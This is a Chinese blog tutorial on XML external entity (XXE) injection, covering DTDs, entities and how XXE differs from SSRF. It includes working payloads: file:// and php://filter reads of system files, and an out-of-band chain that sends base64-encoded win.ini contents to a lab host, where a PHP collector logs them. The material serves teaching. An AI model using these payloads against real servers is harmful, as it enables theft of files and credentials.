XXE注入漏洞

XXE注入漏洞什么是XML要想清楚XXE漏洞,首先要了解XMLXML可扩展标记语言(EXtensibleMarkupLanguage)。它是一门用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型。XML很像HTML,但是标签没有被预定义,需要自行定义标签。它的文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。它的设计宗旨是传输数据,而不是显示数据。php版本大于5.4.45的默认不解析外部实体传参实体:有%一般实体:无%xxe漏洞与ssrf漏洞相似虽然场景不同,

大家好,又见面了,我是你们的朋友全栈君。

什么是XML

要想清楚XXE漏洞,首先要了解XML
XML 可扩展标记语言(EXtensible Markup Language)。

它是一门用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型。

XML 很像HTML,但是标签大小写敏感,且没有被预定义,需要自行定义标签,必须按顺序闭合标签,必须含有根元素,属性值须加引号。

它的文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。它的设计宗旨是传输数据,而不是显示数据。

这里要说的就是DTD。

什么是DTD

DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。
它使用一系列的合法元素来定义文档结构。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。如同html里的js一样,可以放在html页面里,也可以是单独的一个文件。

DTD文档组成
1.元素(ELEMENT)的定义规则;
2.元素之间的关系规则;
3.属性(ATTLIST)的定义规则;
4.可使用的实体(ENTITY)或符号(NOTATION)规则。

什么是实体

实体可以理解成变量,给一段代码或数据起一个名字,方便在别的地方引用. 大致分为两类:
1.一般实体(格式:& 实体引用名)
2.参数实体(格式:% 实体引用名)
其次还有内外之分,外部实体表示外部文件的内容,用 SYSTEM 关键词表示.而造成XXE的一般就是外部实体

system与public

那么xml是如何调用外部dtd的呢?
语法是这样子的:
<!DOCTYPE 根元素名 SYSTEM "外部DTD文件的URI">

SYSTEM表示DTD文件是私有的,是要自己定义的。

当然,标签虽然是自定义的,但是人总是懒惰的,如果已经有人定义了一个标签,当你要实现相同功能时,是不是首先想着的是能不能直接调用对方的标签,而不是自己再重新定义一个标签。

有一个叫W3C的组织来了,这个组织的工作是对 web 进行标准化。所以他定义了很多xml标签,这种标签叫公共标签。用public标注:
<!DOCTYPE 根元素名 public "外部DTD文件的URI">
直接调用就行,不需要自己再重新定义。

外部DTD文件的uri得用引号引起来。

什么是XXE

定义

XXE (XML External Entity) :XML外部实体,从安全角度理解成XML External Entity attack,即XML 外部实体注入攻击。

漏洞原理

前面说到,XML可以从外部读取DTD文件,而实体部分是写在DTD文档里。所以引用外部实体实际上就是调用包含该实体的DTD文件。

调用DTD文件,自然是使用路径来识别的,那么我们就将路径换成其他文件的路径,比如原本设置x等于1目录下b文件y的值,我们可以将这个路径换成2目录下的a文件,于是x就等于a文件里y的值了;然后在a文件里,y的值和c文件的z有关;而z的值又和b文件里的γ相关……

这就形成一个调用链甚至一个调用网,直到遇到合适的文件。什么文件呢?一个可以给参数赋值的文件。然后这个值,再一层一层的返回给最开始的文件。比如在上一段的例子里,如果我们能控制γ的值,那么x的值也就意味着可控。

那么如果将恶意代码传给γ,伪造成外部实体,发送给应用程序。当程序解析了我们伪造的外部实体时,就会把γ的值一步步经过相应处理,赋值给SYSTEM前面的根元素,就产生了一次xxe注入攻击。

注意:

php版本大于5.4.45的默认不解析外部实体

xxe漏洞与ssrf漏洞

两个漏洞很相似,功能、原理、造成的危害都相同。
攻击本质都是一样的,都是由于攻击者只能访问A资源不能访问B资源,但是 A资源可以访问B资源,且A资源对请求、响应的检测不全面,被攻击者利用以脚本为请求参数,利用A资源执行攻击者输入的命令去访问B资源。

但是,发生的场景不同。xxe里,AB在同一主机上;ssrf中,AB不在同一个主机上。
而xxe用的是DTD,利用实体注入的方式,将AB联系起来;
ssrf,利用Http、File、FTP等协议,将AB联系在一起。

所以他们是两个不同的漏洞。

演示

simplexml_load_string函数
作用是将xml格式的字符串转换为对应的SimpleXMLElement

zz.php
在这里插入图片描述load.html
在这里插入图片描述
test.php
在这里插入图片描述

只要执行zz.php文件,就会生成一个load.txt文件
在这里插入图片描述

执行原理

zz.php

<!ENTITY % load SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://172.16.11.27/xxe/load.xml"> 
%remote;
%send; 

1.首先,运行zz.php的时候,定义load、remote两个传参实体,其功能分别为:

load:读取c:/windows/win.ini 里的内容
remote:加载172.16.11.27/xxe/load.xml的内容

2.然后%remote: 执行remote实体,加载load.xml文件

规则是平等的,所以规则里面内置了规则,为了不起冲突,需要编码‘%’(&#x25;)

load.html

<!ENTITY % all
	"<!ENTITY &#x25; send SYSTEM 'http://172.16.11.27/xxe/test.php?load=%load;'>"
>
%all;

3.加载load.xml文件后,执行all实体的时候,又执行load实体,并赋值给load(即%load的运行结果赋给load)

4.然后返回zz.php文件,再加载send实体,即运行load.xml里内置的send规则实体,加载test.php里的内容

test.php

<?php file_put_contents("load.txt",$_GET["load"],FILE_APPEND);?>

5.在test.php同路径下,新建一个load.txt文件(如果当前目录下没有load.php文件),并将load的值追加保存进去。

可利用的协议

这里协议的作用不是跟ssrf一样。
前面说了,ssrf里的协议是为了把AB联系起来。这里的协议是AB联系起来后,在B里面执行的操作。

比如下面的file:///C:/Windows/system.ini协议,只是用file协议执行system.ini文件。

file

<?php
	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "file:///C:/Windows/system.ini">]><scan>&xxe;</scan>';
	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
	print_r($obj);
?>

在这里插入图片描述

http

<?php
	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "http://www.baidu.com/robots.txt">]><scan>&xxe;</scan>';
	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
	print_r($obj);
?>

在这里插入图片描述
上面为了直观显示,就把A,B(即$xxe,$obj)放在一个文件里

……

base64

如果文件里面有<>等符号,服务器会当做xml的标签,然后就把他给过滤了。如下:

phpinfo.txt

<?php
 phpinfo(); 
?>

xxe.php

<?php
	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "file:///D:/phpStudy/WWW/phpinfo.txt">]><scan>&xxe;</scan>';
	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
	print_r($obj);
?>

在这里插入图片描述
虽然看不懂这里输出是啥东西,但绝对不是phpinfo.txt的内容。

所以需要编码一下

<?php
	$xxe = '<!DOCTYPE scan [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/phpinfo.txt">]><scan>&xxe;</scan>';
	$obj = simplexml_load_string($xxe, SimpleXMLElement, LIBXML_NOENT);
	print_r($obj);
?>

在这里插入图片描述

然后解码查看
在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/142172.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 如何删除LDSGameMaster「建议收藏」

    如何删除LDSGameMaster「建议收藏」如何删除LDSGameMaster背景介绍方法一方法二背景介绍最近不小心下载安装了鲁大师,卸载之后,C盘中仍有一个名为LDSGameMaster的文件夹。虽然很小,之后18M,但是一定要删除掉,否则心里很不舒服。方法一百度告诉我,解决这个问题很简单。这个文件夹中有个uninstall,运行之后就没有了。但我没有发现我的文件夹中有这么一个东西。这个方法不提。方法二删除之后,提示:操作无法…

    2022年6月13日
    33
  • java和c对比_c语言数据结构和java数据结构

    java和c对比_c语言数据结构和java数据结构Sun公司推出的Java是面向对象程序设计语言,其适用于Internet应用的开发,称为网络时代重要的语言之一。Java可以用认为是C的衍生语言,与C在大量元以内成分保持相同,例如此法结构、表达式语句、运算符等与C基本一致:但Java更简洁,没有C中冗余以及容易引起异常的功能成分,并且增加了多线程、异常处理、网络编程等方面的支持功能。本文从多角度对Java与C进行对比分析,为C与Jav

    2022年4月18日
    57
  • 哈佛幸福课笔记上篇「建议收藏」

    哈佛幸福课笔记上篇「建议收藏」改变一生的课:哈佛幸福课笔记上篇第1课什么是积极心理学?第2课为什么要学习积极心理学?第3课幸福是一种随机现象吗?第4课积极的环境能改变人第5课环境的力量第6课乐观主义第7课逆境还是机遇?第8课感激链接:哈佛大学公开课:幸福课.《哈佛幸福课》是改变我生活最大的一项事物,没有之一。我学习了5遍幸福课,并且用过去6年的时间去尝试它践行它,感觉完全改变了我的生活。第1课什么是积极心理学?1.享受安静2.这门课不光是传授信息,而且关于如何变形。重要的不仅仅是获得了什么信息,还是何形状

    2022年7月25日
    10
  • 阅读:AirBag Boosting Smartphone Resistance to Malware Infection

    阅读:AirBag Boosting Smartphone Resistance to Malware Infection

    2021年12月31日
    41
  • osi七层模型,什么是tcp/ip协议,tcp与http,UDP的区别,tcp三次握手过程和特点

    osi七层模型,什么是tcp/ip协议,tcp与http,UDP的区别,tcp三次握手过程和特点osi七层模型,什么是tcp/ip协议,tcp与http,UDP的区别,tcp三次握手过程和特点

    2022年4月23日
    55
  • 使用USB转485编程电缆连接西门子 S7-200的软件配置方法以及可能出现的问题[通俗易懂]

    使用USB转485编程电缆连接西门子 S7-200的软件配置方法以及可能出现的问题[通俗易懂]1安装驱动与PC-PPI编程电缆不同,USB转485编程电缆通常需要驱动。驱动安装完成后,将电缆插入电脑USB口,打开电脑设备管理器,观察端口COM是否生成。未插入编程线缆之前不存在COM3。2配置编程软件打开编程软件,点击【设置PG/PC接口】,选择【PC/PPIcable(PPI)】接口:点击属性,注意在【PPI】栏中不能勾选【高级PPI】和【多主站网络】:在【本地连接】中选择与设备管理器中一致的端口,此处为COM3:点击确定退出,软件配置完成,PC与PLC连接成功。.

    2022年5月18日
    156

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号